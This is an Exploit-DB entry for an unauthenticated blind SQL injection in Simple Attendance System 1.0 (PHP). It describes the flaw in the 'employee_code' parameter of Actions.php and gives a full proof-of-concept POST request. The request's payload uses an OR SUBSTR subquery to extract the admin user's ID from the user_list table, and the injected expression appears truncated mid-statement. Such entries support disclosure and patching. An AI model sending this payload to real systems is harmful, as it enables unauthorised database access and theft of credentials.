Unauthenticated Blind SQLi

EDB-ID:
50312

CVE:
N/A

EDB Verified: ×

Author:
()T/\\/\\1

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2021-09-22

Vulnerable App:

```
# Exploit Title: Simple Attendance System 1.0 - Unauthenticated Blind SQLi
# Exploit Author: ()t/\/\1
# Date: September 21, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Tested on: Linux
# Version: v1.0

# Exploit Description:
The application suffers from an unauthenticated SQL Injection vulnerability.Input passed through 'employee_code' POST parameter in 'http://127.0.0.1//attendance/Actions.php?a=save_attendance' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and retrieve sensitive data.


# PoC request

POST /attendance/Actions.php?a=save_attendance HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/attendance/attendance.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 138
Connection: close
Cookie: PHPSESSID=11c4e96bb334b51540f4758e9d33885d


employee_code=2d'+OR+SUBSTR((select+user_id+from+user_list+where+username="admin"),1
-&att_type_id=1&date_created=&att_type=Time+In
```

Tags:

Advisory/Source: Link

Downloads

Certifications

Training

Pro Services